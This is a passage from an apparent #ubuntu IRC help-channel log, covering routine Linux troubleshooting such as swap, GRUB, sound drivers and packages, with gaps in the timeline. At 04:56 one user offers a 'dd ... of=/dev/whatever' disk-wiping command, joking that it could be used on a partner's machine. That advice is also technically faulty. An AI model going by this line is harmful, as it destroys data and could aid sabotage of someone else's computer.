needs to be with . instead of the spaces [04:06] musashi: post install you can run some cmd-line util for time zone configuration [04:06] usser: it's for renaming files and i cant figure it out so if you were going to explain, i was going to pay attention [04:06] musashi: it will let you pick US Central [04:06] musashi: or w/e timezone you happen to be in [04:06] can some one plz help really important to get back my files on the ext3 partition [04:06] usser: it seems like sed-for-filenames O_o [04:06] Nematocyst, ah, i see what you mean. most timezones have a particular city that is sort of standard. mountain time is denver, central is chicago or something and so on [04:06] r0bby: hey, why is my root password not accepted when I am logged in as another user? [04:06] jk__: I heard a rumor (never could verified it) that one of the Gnome debian people is also part of Ubuntu. I read that he was told not to release the latest gnome code into debian until ubuntu had it. [04:06] RancidLM: did you delete them? data recovery on ext3 is probably the hardest of any filesystem [04:07] Why does my Restricted Linux Driver keep uninstalling my new nvidia drivers and installing the old ones when i enable it ?? [04:07] scguy318, actually, it Nematocyst that is looking for the info. [04:07] i have a AMD 64 dual core box, but I heard youtube and such will not work with it. SHould I just use the 32bit version of Ubuntu? [04:07] q_a_z_steve: add your user to the sudoers file [04:07] "visudo" [04:07] ^^ type that. [04:07] adam__: because that's what it's supposed to do. it's supposed to make the restricted ubuntu one be the only one in use. disable it if you dont want it [04:07] !sudo [04:07] sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information. [04:07] hey [04:07] q_a_z_steve: see that. [04:08] Led_Zeppelin1: itll work. there's a wrapper (nspluginwrapper i think) for flash to make it work for 64bit firefox [04:08] uhhh [04:08] scguy318, what's the tool? I've modified /etc/timezone to what it should be, but the panel clock isn't updated yet... thinks it's Africa... heh [04:08] macogw: no didn't delete it was a partition resize that crashed.. the hd still says there 97gb in use but i cannot see it anywhere [04:08] adam__: you mean when you enable the restricted driver, the one you installed gets disabled, right? [04:08] QUESTION: I am not able to boot my computer any more. (I am typing this off the LiveCD!) The screen comes up to GRUB and then stops. How do I troubleshoot this problem? I can see all my drives okay from the CD... [04:08] yes [04:08] TranceControl, the only way i can think of is with find command [04:08] how do I get access to an external drive I had formatted, but have no permissions to now? [04:08] jk__, any updates? [04:08] usser mmm explanation? [04:09] i thought it was displaying the new drivers that i had to enable [04:09] jk you still here [04:09] TheShadowZero: nada yet [04:09] i have one more question [04:09] mediahunter: sure [04:09] having some problems booting ubuntu, i can't run a live cd, i had to install off the alternative, and now the only way i can get it to do anything is to use recovery mode in grub? i am using 7.10 alternate x64 on a brand new quad core machine? [04:09] how far are you? [04:09] usser like how to and stuff? :) [04:09] Led_Zeppelin1: if you're on Gutsy you just have to install flashplugin-nonfree, that should take care of the nspluginwrapper fun stuff for you [04:09] adam__: enabling restricted disables all other drivers for that part. you can only use 1 driver at a time. it's either the one you compiled or the one it offers [04:09] i have the python editor on my system [04:09] how do i bring it up tho [04:09] for use [04:09] TheShadowZero: have to pass some args into the python setup.py perhaps ? [04:09] sorry not editor [04:09] pseudo21088: probably you should reconfigure X [04:09] translator [04:09] pseudo21088: dpkg-reconfigure xserver-xorg [04:09] jk__, "python setup.py install" gives that [04:10] i think i understand what that is now, thanks [04:10] python setup.py --help [04:10] jrib: GOT IT!! the corrected script is here: http://paste.ubuntu-nl.org/46190/ [04:10] !grub [04:10] grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto [04:10] Hello [04:10] mediahunter: translator ? not sure . . . [04:10] hold on i will get the name of the program [04:10] macogw: k nver mind .. for some reason after unmounting and remounting it i see the files back on there.. wierd [04:10] jonathanPM: just ask your question [04:10] RancidLM: are they in /home/lost+found/ ? [04:10] ok [04:10] scguy318: k, but you'd think that it would be fine after a fresh install [04:11] oh hang on [04:11] anyone familiar with pam.d? http://pastebin.com/d90b561f this is /etc/pam.d/common-password which (I believe) ubuntu uses to check login creds.... following some instructions for LDAP client setup, I used auth-client-config to change it... is there something wrong with this code? anyone familiar with pam? === JonathanPM is now known as optimus110103 [04:11] there [04:11] ok [04:11] python 2.5 translator [04:11] i have a question why the hell aim i connected on 53% wirelessly while on my other vista laptop its 100% ... same network ... same distance .... and the router is right next to me [04:11] on linux its only 53% [04:11] in the add rem list it was already installed and i installed drpython also [04:11] whabo, is the connection particularly bad? [04:11] whabo: maybe its the wireless card drivers [04:11] TheShadowZero: thinking there must be some option to pass in here ... specify python or swig version or something . .. [04:11] I need to withdraw from my karma bank here, guys. I've helped out often here, and I need some help now. [04:11] whabo, or do you just see the number and then get all pissy [04:11] goat I mess with it a little [04:11] how do I get access to an external drive I had formatted, but have no permissions to now? [04:12] jk__, is that what the error in hte paste shows? its incomprehensible to me [04:12] What should the mountpoint be for my swap partition? [04:12] because if you want, you can mod it to always say 100 [04:12] r0bby: what do I do, add to the "#User priviledge specification" area? [04:12] !ask | bruenig [04:12] bruenig: Don't ask to ask a question. Just ask your question :) [04:12] no no the connection is strong .... how do i get those woreless drivers?? i have a netgear wireless card ... [04:12] jeffrey1: go in terminal and type sudo nautilus [04:12] TheShadowZero: it implies swig got something wrong with versions i think (i'm guessing) [04:12] goat: I setup sambaldap a few times using pam.d [04:12] LiMaO, I am not asking a question... [04:12] bruenig: we are here to help too =) [04:12] oh [04:12] hmm [04:12] TranceControl, hang on [04:12] goat: you want samble files [04:12] cubedsi: did that but only see my primary drive [04:12] bruenig: tell us what you need help with and we'll try to help [04:12] vile_maxim: I'm getting denied on my (correct) password ever since loading that... I'm going to try putting it back, but do you think that syntax is correct [04:13] well the problem is this i am a first time ubuntu user and i cant get this thing to recognize my hard drives i dont understand this whole mount unmount thing [04:13] amanith_wrap.cpp is a generated file [04:13] haiii [04:13] jeffrey1:go to your drives location [04:13] LiMaO: bruenig doesnt need help. he's a help-giver... [04:13] * bruenig tries to think of a question [04:13] vile_maxim: I'm trying to make ubuntu a part of an AD network at work (if all works out) [04:13] goat: ? I think I missed the syntax [04:13] Any one know what the mount point in my fstab should be for my swap partition? [04:13] bruwnig on vista .. its 100% .. on linux its 53% .. same distance [04:13] err. i messed up nicknames [04:14] vile_maxim: http://pastebin.com/d90b561f [04:14] o [04:14] cubedsi: I am in nautilus as a regular user.... [04:14] bruenig: sorry =) [04:14] whabo, right but my question to you is whether there is a noticeable performance difference or is there just a number difference [04:14] [02:11:48] I need to withdraw from my karma bank here, guys. I've helped out often here, and I need some help now. [04:14] Jobmo: it should just be swap. it doesn't use a mount point [04:14] desertc: just tell us and we will help you [04:14] is there a program I can use to see how much bandwidth another workstation is using? The network is a typical wifi internet connection with no server. Cable internet access==>wireless router==>workstations (nodes). [04:14] Jobmo: none [04:14] can anyone explain to me this whole mount unmount thing [04:14] i cant figure it out [04:14] !mount [04:14] Partitioning programs: !GParted or QTParted (also "man mkfs" for formatting) - Mounting partitions in Gnome under Dapper: System -> Administration -> Disks - For Edgy, see !fstab and !DiskMounter [04:14] Jobmo: mine looks liek this [04:14] bruenig : its most probably just a nub .. coz my download rate isnt that much lower. [04:14] okay... thats what it was, is there anythign special I need to do to make it an active swap partition [04:14] Jobmo: UUID=... none swap sw 0 0 [04:15] bruenig: number [04:15] well, the people who named these tools had their minds in the gutter... [04:15] TheShadowZero: maybe this python version of the source is out of sync with the main amanith ? [04:15] optimus110103: http://linux.die.net/man/8/mount [04:15] ALGUM BRASILEIRO? [04:15] Jobmo: swapon [04:15] macogw fuck you! [04:15] TheSHadowZero: something with versions . . . [04:15] ok and how do I get this thing to recognize that I have two seperate hard drives [04:15] whabo, it could just be a difference in how the drivers are reporting the signal [04:15] macogw fuck you! [04:15] how do i get the uuids of partitions? [04:15] Guthin: eu sou, mas aqui soh inglês [04:15] argh frustrating [04:15] hmm [04:15] Guthin: e respeito eh bom amigo [04:15] goat: it looks ok to me, but mine is a little different [04:15] HAHAHAHAHAHA [04:15] Limao: Already asked twice... I am not able to boot my computer any more. (I am typing this off the LiveCD!) The screen comes up to GRUB and then stops. How do I troubleshoot this problem? I can see all my drives okay from the CD... [04:15] it wants some atributes, but when i try swapon -L /dev/hda2 it fails [04:15] !br | LiMaO [04:15] LiMaO: Por favor use #ubuntu-br ou #ubuntu-pt para ajuda em português. Obrigado. [04:15] TheShadowZero: not givin up just yet [04:15] vile_maxim: if you look on line 24, thats what used to be there [04:15] cubedsi: I am at my drive location [04:16] scguy318: i don't need it, Guthin did [04:16] bruenig: so i dont need to touch it do i??? or should i install drivers? [04:16] under computer all I can find is system files and a floppy disk of which I dont acctually have [04:16] !uuid | sproingie [04:16] sproingie: To see a list of your devices/partitions and their corresponding UUID's, run this command in a !shell: « sudo blkid » (see https://wiki.ubuntu.com/LibAtaForAtaDisks for the rationale behind the transition to UUID) [04:16] vile_maxim: the only difference is that obscure is not listed [04:16] LiMaO: ah ok :) [04:16] scguy318: hey, do you know a good substitute for DVDShrink in ubuntu? [04:16] vile_maxim: which shouldn't be a probelm right? [04:16] bruenig: it worked out of the box i didnt install anything [04:16] OSALT.com doesn't really have anything [04:16] desertc: are you the quad core guy? [04:16] genii: thankie [04:16] limao: nope [04:16] sproingie: np [04:16] q_a_z_steve: a specific utility no, though I know there are tools for muxing and all that fun stuff [04:16] swapon doesn't work when i try "sudo swapon -L /dev/hda2" [04:17] q_a_z_steve: doom9 or afterdawn probably knows more [04:17] !sudo > q_a_z_steve [04:17] goat: I got mine working from following how-to... so my understanding is limited... but my home network is running with ldap. [04:17] limao: I'm just the guy who had a computer that ran fine and just suddenly had problems booting. [04:17] q_a_z_steve: read that. [04:17] google. [04:17] desertc: what do you mean by 'not anymore'? was it working before? what happened just before it stopped working? [04:17] come on man ;) [04:17] whabo, right I mean that unless you see some performance difference, I wouldn't worry about it as it could just be a difference in how the windows driver and the linux driver is reporting the number [04:17] scguy318: afterdawn url please? [04:17] vile_maxim: can you point me to one that you used? [04:17] LiMaO pvt! [04:17] ;) [04:17] how do I get access to an external drive I had formatted, but have no permissions to now? (original helper no long signed on) [04:17] desertc: nice, you just answered it. have you trying running fsck? [04:17] goat: my common-password password sufficient pam_ldap.so md5 password required pam_unix.so md5 try_first_pass [04:17] limao: It was working fine since my Gutsy upgrade, and I honestly made no changes to the systema t all. [04:17] goat: sure... let me dig it up [04:17] bruenig thx aloot [04:17] q_a_z_steve: http://www.afterdawn.com/, probably the software section you want [04:18] q_a_z_steve: in either regard - i'm busy have fun. [04:18] limao: running fsck... [04:18] r0bby: thanks for letting me pick your brain [04:18] No problem [04:18] goat: was written for debian sarge, but it works for debian etch http://nomis52.net/?section=docs&page=samldap [04:18] bruenig: if i decided to try out the an updated driver.. where should i go for netgear's PCI cards? [04:18] TheShadowZero: i have swig v 1.3, but it says requires swig 1.3.29 . . . not sure if there's a difference [04:18] q_a_z_steve: type "man sudoers" [04:18] vile_maxim: I'm going to try following your basic syntax, thansk for your help [04:19] Okay, I tried swapon -a but I still don't think my swap partition is loading [04:19] goat: I had to change a lot of pam files... not just that one.. so your problem maybe elsewhere [04:19] dunno [04:19] TheShadowZero: i have swig 1.3.31 . . . [04:19] When I try to install gparted it complains that my swap patition isnt active [04:19] goat: that howto should sort it out though [04:19] >< [04:19] it should break because of a newer version [04:19] where is reimp :( [04:19] shouldnt* [04:20] vile_maxim: i will look at that too, thanks [04:20] goat: the nsswitch.conf is what has given me problems in the past. [04:21] TranceControl, u here still? [04:21] TheShadowZero: still looking . . . [04:21] usser yup :) [04:21] :\ [04:21] TranceControl, well the right way to do is by find command [04:21] usser and that i do , how? [04:21] TranceControl, i dunno how to use so i write shell scripts :0 [04:21] question, when i boot up in KDE i get a popup window that says "No command arguments supplied!" from KDEsudo "Kdesudo will now exit" [04:21] LiMaO: FSCK came back clean [04:21] TranceControl, here it is http://pastebin.ca/801310 [04:21] how do i resolve this [04:21] usser lol :) [04:22] When I try and install GParted, and some other apps it claims that I do not have an active swap partition. I have one listed in my fstab, and I tried executing "swapon -a" and it still doesnt work. Any ideas? [04:22] goat: I'll me on line for a while longer... I'll be happy to give you sample files if you need them.... [04:22] TranceControl, save it on your desktop as spaces.sh [04:22] LiMaO: How do I further troubleshoot my Ubuntu not booting past GRUB ? [04:22] desertc: you'll probably have to chroot in your installation (or use the recovery mode) and troubleshoot the errors [04:22] TranceControl, and then from terminal do bash spaces.sh /path/to/directory/* [04:22] desertc: if you press ESC, do you see the Grub menu? [04:22] limao: What does "chroot in your installation" mean? [04:23] limao: GRUB does not accept input from my USB keyboard. :( [04:23] TranceControl, make sure u type in the right path [04:23] question, when i boot up in KDE i get a popup window from KdeSudo that says "No command arguments supplied! Kdesudo will now exit..." [04:23] TranceControl, for instance if your rars are in /home/user/rarfiles [04:23] desertc: uh, that's bad. because you need to use the recovery mode to troubleshoot your installation [04:23] When I try and install GParted, and some other apps it claims that I do not have an active swap partition. I have one listed in my fstab, and I tried executing "swapon -a" and it still doesnt work. Any ideas? [04:23] TranceControl, the command'd be [04:23] desertc: don't you have a spare ps2 kb? [04:24] Spare? [04:24] Jobmo: what is the output of free [04:24] TranceControl, bash spaces.sh /home/user/rarfiles/* [04:24] Limao: No. No spare keyboards. [04:24] total used free shared buffers cached [04:24] Mem: 774072 762132 11940 0 24712 283812 [04:24] -/+ buffers/cache: 453608 320464 [04:24] Swap: 1028152 34968 993184 [04:24] !pastebin [04:24] pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [04:24] Jobmo: looks like swap to me [04:24] usser can i pm you? [04:24] TranceControl, im not registered [04:25] ah :S [04:25] good point... why do you think it is complaining that my swap isnt active? [04:25] well pm here i mean :) [04:25] TheShadowZero: looking at some other possibilities ... [04:25] TranceControl, join #usser [04:25] I figured out my problem: in grub it didn't like the quiet or splash commands at the end of the kernal line [04:25] Jobmo: not sure what your problem is... what program told you you have no swap [04:25] question, when i boot up in KDE i get a popup window from KdeSudo that says "No command arguments supplied! Kdesudo will now exit..." [04:25] mornin' [04:25] is their a start up list that i can edit [04:25] Anyone with any winmodem advice? Softv92 Data Fax Modem (PCI) [04:25] gparted, and some program that would help me with hibernation, i can look it up [04:25] could someone check which version of "io" is stable with ubuntu right now? [04:25] desertc: isn't reinstalling an option? i mean, keep your /home and reinstall the system [04:25] it's a programming language [04:26] Limao: I could do that. Good advice. [04:26] Jobmo: hmmm... are you running gparted with sudo? [04:26] gparted and "uswsusp" [04:26] yeah [04:26] Jobmo: I'm reaching here [04:26] TheShadowZero: don't give up, I'm sure fretsonfire is better than VanHalen haircuts [04:26] Limao: I guess it is time to buy a cheap PS2 keyboard. Better to spend $10 on a keyboard than lose all my installed applications. [04:26] hehe [04:26] desertc: that's the last resort, and probably the worst answer i could give you. but the only one assured to work and quickly [04:26] LiMaO: Until then, you gotta love the LiveCD availability! [04:27] desertc: i keep a script file with all the apps i need.. just need to run it when i set up a new system [04:27] vile_maxim: Thanks I guess i will go make a forum post [04:27] LiMaO: Thank you VERY much for your attention and advice. [04:27] hello [04:27] Jobmo: I just tried duplicating the problem on my machine, but it works here soo..... good luck [04:27] thanks [04:27] desertc: i'm sorry for not being able to help you any further, but you're welcome. [04:28] TheShadowZero: ok THAT error is because you need python source to build [04:28] What is the best code editor that you all use with ubuntu like for php or html [04:28] TheShadowZero: next up, another build error [04:28] ...what? python source? arghhh [04:28] noname: vim [04:28] i have python and python-devel, why do i need source [04:28] could someone check please which version of the programming-language is stabilized with ubuntu? or give me a web-link where i can find out? i need this information. [04:28] TheShadowZero: yea before the error you pasted, you'll see a blow up at not finding Python.h [04:28] blahhh [04:28] anyone out there know a workaround for crystalspace? [04:28] the programming language's name is "io" [04:29] question, when i boot up in KDE i get a popup window from KdeSudo that says "No command arguments supplied! Kdesudo will now exit..." [04:29] err.. to get it working [04:29] is their a start up list that i can edit [04:29] jk__, /usr/include/python2.5/Python.h [04:29] says "locate" [04:29] HateX, KDE has a session managem3ent type system and an Autostart dir. [04:29] What is the console command to start a remote X session? [04:29] Dr_willis, where is that [04:29] HateX: cannot we just have a KDE vs gnome fight instead === cloud__ is now known as ChaosMachine [04:30] vile_maxim, lol [04:30] !bash [04:30] The linux terminal or command-line interface is very powerful.

I thought it was something like X -query but there is more to it than that. [04:31] if you can read all that [04:31] Hey all, when I log out of gnome I don't see the "option" button to change into enlightenment, how do I get it back [04:32] Hi, does anybody know of a bittorrent client for U that would allow me to schedule times for downloads to pause or resume? [04:32] ktorrent [04:32] kev_b: have you tried azureus? i'm not sure you can set up a time to download, but it has a lot of configuration options [04:32] you need to install a plugin for it [04:33] HateX, in .kde is an Autostart dir. [04:33] not install, but load, its already installed with ktorrent [04:33] Dr_willis, ic [04:33] noname6732: I think you might need to log back in and system -> administration -> login window -> local -> Menubar "show action menu" I think [04:33] will try ktorrent first cos of my dislike of running java : ) [04:33] thanks for the suggestions [04:34] Hello how to download and install some program like flashplayer to watch videos and listen mp3 mpeg ? a can someone tell me here if have online ?

See https://help.ubuntu.com/community/Wine for more information, and see !AppDB for application compatibility. [04:48] bruenig, not quite, or I'm typing it wrong. I typed: cp libfaac.so.0/path/to/lib/directory [04:48] thanks for the info [04:48] Randy_Wolf, space between the arguments [04:48] Randy_Wolf, so after the 0 [04:48] Shadow147: I knew they changed the name.... but I do't bother keeping up with them [04:48] JonathanPM: try lshw -C multimedia and see if anything pops up with that [04:49] which aruments, the libfaac and the first /? [04:49] Shadow147 there are patches to wine that allow for up to directx 9 compat. [04:49] scguy318; oh yeah, of course, lame. well which part of the modem file it outputs would you like me to pastebin [04:49] Bef: all of it [04:49] well you will need windows to get it [04:49] ah okay [04:49] Randy_Wolf, the first argument is the file, the second argument is the path, arguments are delineated by spaces [04:49] LiMaO: Now the workplace switcher thing is all messed up... [04:49] rlount: I thought Wine already had DX9 compatibility long ago [04:49] Shadow147: my point was that I seen some windows games run using it [04:49] LiMaO: Do I need to set that up somehow? [04:49] I want it to display in a 2x2 grid vs. a 1x4 row [04:49] hmm that might help me [04:49] what is the command to reinstall a package? [04:49] * Enslaved smokin crack [04:50] Cpudan80: that's a bug. if you send some window to 'desktop 2', it'll send the window to desk 3 or 4 [04:50] Cpudan80: there's no way to fix it =/ [04:50] peepsalot, apt-get install --reinstall package I think [04:50] Shadow147, I can get you the info if you want it. I haven't tried it but a co worker has. It was non steller. I just run games that have been ported mtself. [04:50] LiMaO: All just remove it then - no biggie [04:50] nothing [04:50] it runs through a list of things but nothing stays on screen [04:50] now it says cannot create regular file? [04:50] Cpudan80: oh.. just change the other settings to any other value other than 1.. have to experiment a little [04:50] where can i get list of command ubuntu installer [04:50] and it goes right back to a command prompt [04:51] bruenig, ah ok thanks. I don't see why they don't just let you do apt-get reinstall ... [04:51] anyone here know how to get a signal through a VGA on a laptop in Ubuntu [04:51] thank rlount I can use it to test some of my games that I want to play [04:51] peepsalot, you can alias it if you want [04:51] Shadow147, one sec! [04:51] or.irc,gr [04:51] rlount ok [04:51] JonathanPM: you ever ran lspci? [04:52] no dont even know what it is [04:52] hey all, [04:52] JonathanPM: from the terminal type that in [04:52] !rpm [04:52] RPM is the RedHat Package Management system. Ubuntu uses !APT, not RPM. RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous) [04:52] hello ubuntu users [04:52] Which text editor do you all use to edit code with, preferable with highlighting [04:52] hi! i deleted the panel and added again, but when i open the pidgin and close the windows it doesn't go to the right lower left( system try ).... [04:52] hey, any ops? is it ok to paste a link to sourceforge wine directx thingie? [04:52] scguy318; http://pastebin.ca/801338 [04:52] noname6732, vim, :) or fte. but its all a personal choice. try them all. [04:52] bruenig, now it says it can't create regular file '/path/to/lib/directory/' no such file or directory [04:52] ok [04:53] LiMaO: ok [04:53] i did and I got a long list of stuff [04:53] Dr_willis, does it provide automatic highlighting? [04:53] why choose ubuntu over fedora 8 [04:53] ? [04:53] rlount: paste it [04:53] Randy_Wolf, um when I said /path/to/lib/directory I intended for you to fill that in with the real path to the lib directory, which might be /lib /usr/lib /usr/local/lib or anything else you got [04:53] anyone able to help me put a slideshow to a projector over my laptops VGA port? [04:53] noname6732, vi can, and fte can.. by default only tiny-vim is isntalled on ubuntu. and highliting is turned off by default. [04:53] ninjagambit: Ubuntu is very good thats why! [04:53] Shadow147, http://directxwine.sourceforge.net/ [04:53] JonathanPM: look for audio devices [04:53] ninjagambit, because Ubuntu is cooler. And brown. :) [04:53] LiMaO, thx.

[04:54] ninjagambit: you won't go wrong with any of the more mainstream distros..

[04:54] Lets not get a RPM Vs Deb packaing war going. :) because we all now how bad rpms are. heh heh. [04:54] Bef: you have a Conexant modem I believe [04:54] we all know how bad debs are as well though [04:54] Shadow147, I guess it was only crapware v8 [04:54] scguy318; im aware of that yeh [04:54] * rlount hangs head [04:54] not as bad as rpm but still problematic [04:54] i dont know what to look for [04:54] JonathanPM: do you see something that says product and description? if so, what do those two lines say?

[04:56] I have a question about recompiling the kernel. I want to install a kernel patch, but I'm afraid that I'm going to lose all sorts of drivers that I'm oblivious about as a result. Is there a way I can take the kernel I'm already using and recompile it, instead of taking the "vanilla" kernel? [04:56] TheShadowZero: they should pull this code or something, it's embarrassing [04:56] cause i seen it on you tube [04:56] http://paste.ubuntu-nl.org/46196/ [04:56] Enslaved, something like dd if=/dev/null of=/dev/whatever where whatever is the name of the hard drive will be the fastest [04:56] there [04:56] !kernel | Les_Caesars [04:56] Les_Caesars: The core of the Ubuntu Operating System is the Linux kernel: see https://help.ubuntu.com/community/Kernel - You shouldn't have to compile your own, but if you're convinced you do, see https://help.ubuntu.com/community/Kernel/Compile - For more: /msg ubotu stages [04:56] Les_Caesars, install the kernel-souces package from the repos [04:56] Enslaved, you aren't sitting at your S.O's machine are you... like after an argument or something? ;) [04:56] bruenig, thanks, got the syntax right this time.

It automatically imports and converts *.pst message files [05:00] will the installed version be alot faster than the cd live version [05:00] yes [05:00] i know that when I start up the pc the speakers go thump [05:00] Anyone know of a program that can mass resize a set of images?

[05:04] ninjagambit, there's a #fedora channel for Fedora questions === AtariMoe is now known as cpg [05:04] anyone have a clue as to how to get sound working [05:04] i have 3500+ amd athlon 64 with 512mb ram how will linux run on my system [05:04] will it be faster than window [05:04] xp [05:05] ekspee [05:05] ninjagambit: Yes, it will run and it will likely be faster. [05:05] ninjagambit: most likely yes, though the choice of desktop environment may factor into the equation [05:05] #xelalug [05:05] ninjagambit: it wil be noticably faster...even under what u think is a high load [05:05] ninjagambit: it will be faster then a 2 year old install of any DOS as they seem to worsen as time goes on :) [05:05] TheShadowZero: ok, it got past a couple more errors and it blew up again. [05:06] wait [05:06] TheShadowZero: i officially give up [05:06] jk__, lo [05:06] thats okay [05:06] thanks bunches [05:06] i went into my hardware manager and it gives me a list of audio stuff [05:06] good luck. :) [05:06] how you know my pc was 2 years old [05:07] and yes it has slowed down alot [05:07] well most of the current games use DX 9 [05:07] JonathanPM: another dumb question... the sound card is turned on in the bios... right? [05:07] bios doesnt give you an option to turn on the sound [05:07] ok last question === AtariMoe is now known as cpg [05:08] if i install from live cd will i have to download alot more stuff [05:08] to finish it [05:08] continentaltest: my friend, i installed thunderbird it open *.msg files but dont show attachment s in the mails which i saved from outlook [05:08] ninjagambit, not really. [05:08] Problem: I need to install a kernel patch in order to get my keyboard to work. I don't have a clue how to do that, and I really don't know what I'm doing. What should I do? [05:08] ninjagambit: no, unless you count the updates as more stuff to finish [05:08] or should i just download the full version then install [05:08] ninjagambit, the alternative isntall cd and live cd install the exact same stuff i belive [05:08] I'm afraid that I'll FUBAR my desktop [05:09] Dr_willis: he may mean the DVD [05:09] dl size is alot diff [05:09] the CD verion is smaller [05:09] live cd 700mb full install is 3gb [05:09] JonathanPM: The think that is throwing me off is that normally you will see as audio device with lspci... then it's just a matter of loading the right kernal mod or sometimes for other trick. But in this case... it's not showing up at all [05:09] ninjagambit, the 'dvd' has more packages - but not all are installed by default. I never bother with the dvd [05:10] Les_Caesars, as long as you dont remove a currently existing kernel or remove the lines for it from grub's config fie, you shold be fine [05:10] I perfer the smaller download well one I don't have a DVD burner [05:10] I don't know why [05:10] ninjagambit, Ubuntu install is pretty complete, and smaller than 3Gb once installed - just over 2, IIRC [05:10] does anyone know how to enable your TV out, with an ATI xpress 200m card, without making my laptop screen 640x480. its rather frustrating, i have restored my xorg.conf several times already! [05:10] JonathanPM: I might not be able to help you. good luck [05:10] MasterShrek: is there a chance that I might do either of those two things inadvertantly? [05:10] hang on [05:10] i go into the sound thingy in system/preferences [05:11] Anyone know why on screen display for volume is ehh, nasty looking? [05:11] It looks like the speaker panel thing... shouldn't it be white? [05:11] now i guess i flip a coin to see if i go with fedora or ubuntu [05:11] i get a window saying sound preferences [05:11] tough choice [05:11] tuff [05:11] Les_Caesars, probably not, if you get to a point where you think you might mess up your system, just ask here before you do it. Just remember not to delete anything in your grub's menu.lst file, and not to delete or overwrite any file in /boot [05:11] Hi, i connect to the internet via a windows gateway PC that uses an adsl connection. problem is, it disconnects and reconnects from time to time. [05:11] continentaltest: did you hear me? [05:12] and thats when my ubuntu box loses connection altogether. to fix it, i have to restart networking manually each time [05:12] when i try to test anything i get this error [05:12] gconfaudiosrc ! audioconvert ! audioresample ! gconfaudiosink profile=chat: Could not open resource for writing. [05:12] isnt there a way to get around this problem using some config option in dhcp client? [05:12] Anyone know of a program that I can resize a bunch of pictures in a single operation? [05:12] JonathanPM: I think that is normal because it cannot find the sound card [05:12] well crap then [05:12] MasterShrek: k thanks [05:12] TheShadowZero: as a last try, try commenting out the function around line 981 of /home/omar/temp/amanith/include/amanith/rendering/gdrawboard.h:981 [05:13] just kill it and try rebuilding [05:13] does that mean I have to get an aftermarket sound card [05:13] i see why it's complaining about it but i'm not sure what else to do [05:13] JonathanPM: I'm not sure... even if it doesn't recognize the card, it should be in lspci [05:13] it's like a 3-4 line function wrapper. comment the stupid thing out [05:14] if i wana qmake somthing do i need to type libqt4-dev or somthing how do i use this [05:14] 00:01.1 SMBus: nVidia Corporation CK804 SMBus (rev a2) [05:14] 00:02.0 USB Controller: nVidia Corporation CK804 USB Controller (rev a2) [05:14] 00:02.1 USB Controller: nVidia Corporation CK804 USB Controller (rev a4) [05:14] I think one of these is it [05:14] nobody know how can i open saved "outlook" *.msg files on ubuntu ? [05:14] JonathanPM: since it is not.. it tells me that it is beyond my knowledge base, so someone else might be able to help you, but I'm confused [05:14] with a can opener [05:14] ok thanks anyway [05:15] JonathanPM: cannot be USB CONTROLLER [05:15] im just being a smarta$$ [05:15] if i wana qmake somthing do i need to type libqt4-dev or somthing how do i use this [05:15] Does anyone know any tips on getting faster dvd playback?

I have a sony dvd r/w 8x so I dont know what the issue is [05:15] JonathanPM: you might be on to something [05:15] JonathanPM: the CK804 is weird [05:16] gorilla3d: you're using an ATI card, that's why [05:16] if i wana qmake somthing do i need to type libqt4-dev or somthing how do i use this [05:16] JonathanPM: my SMBus chip set is the same chip that controls my sound [05:16] gorilla3d: ATI's drivers are pathetic on Linux, and ATI drivers are crap in general [05:16] gorilla3d: that said have you enabled the restricted ATI drivers? [05:16] just for colpiling is make [05:16] scguy318: the opengl support is fine I can run game great 2d/3d [05:16] compiling* [05:17] jk__, didnt work [05:17] :/ alas. back to the air guitar [05:17] scguy318: yes and its compiled from the open sourced driver ati rleeased like a month ago [05:17] I can't play some games because I am using nvidia-glx-drivers [05:17] I can't play some games because I am using nvidia-glx-legacy driver I mean [05:18] I have an older graphic card [05:18] :( [05:18] anyone know why gaim would all of a sudden stop opening? [05:19] I have no idea [05:19] gorilla3d: hmm, you could try a lighter media player [05:19] gorilla3d: worth a shot, players like mplayer or VLC [05:20] JonathanPM: try sudo alsaconf in a terminal of course [05:21] TheShadowZero, run it from a terminal and see what errors it gives [05:21] scguy318: tried it... and its the same issue with playing dvd's on my windows boot =_= orginally it never was and the hardware hasn't changed except I've added more ram and a CPU with a bigger BUS [05:21] JonathanPM: I see other people with your smbus with sound problems, but they all have the audio device as well....

[05:33] MasterShrek, do you know how to increase terminal text? [05:33] Ryuho: No I'm not...I'm just informing the community that they can use the dell linuxant drivers instead of the freeware linuxant which only runs for 14kbps nor buy the the linuxant drivers... [05:33] Ryuho: and i rarely go into the language options [05:33] Not sure, I may have been MSN. Have to look again. [05:33] Shadow147, vista isn't all that bad. thanks to ms we are getting a lot of new members :) [05:33] clever i gotta admit, that must be annoying, i can't read spanish [05:33] slliness, increase the size?

Does anyone here know much about OpenOffice Calc? [05:34] thats why I am staying with XP [05:34] So it got renamed to 000...not a problem, but then I go back to Windows, and it says it can't figure out where the folder's pointing to [05:34] as my main OS and Ubuntu as my Second [05:34] I am having trouble getting my gtk-gnutella package to open up.

[05:35] I tried something from a FAQ and it still wouldn't let me change it [05:35] MasterShrek, what do you mean remove ~/.gaim? [05:35] kulor: chmod. though you're better off doing umask=000 as a mount param [05:35] slliness, there should be a menu in your gnome terminal somewhere to change that (i dont use gnome, and im not in linux currently) [05:35] Ryuho: Yes I'm still on dialup...sad sad sad... [05:35] shelia_ what type of package is gtk-gnutella [05:36] MasterShrek, ok [05:36] rpm or deb? [05:36] it is where I get my music downloads from [05:36] scguy: chmod? umask as mount param? :D [05:36] Bruce_34, remove the .gaim folder in your home directory. ( ~/ <-- this is your home directory, also /home/user and .gaim is a hidden folder (hence the . in front of the name)) [05:36] Bruce_34, so do this in a terminal: rm -rf ~/.gaim [05:36] what is the file you downloaded for the package [05:37] gtk-gnutella === ninjagambit is now known as Gambit [05:37] deb [05:37] ok just double click on it [05:37] how do you get identified [05:37] i did that it will not open for me [05:38] MasterShrek, ok I got a hold of the owner and they do have a lot of important photos (deceased relatives and such) and I do not see the device in mount, how may I safely access this drive? [05:38] or register user name with freenode [05:38] Bruce_34: alternatively, you could just mv the directory instead of rming it for good [05:38] make sure you have all of dependences it needs [05:38] i even right clicked on it to open and it did not respond to that either [05:38] well I'm in it now, but there's no specific 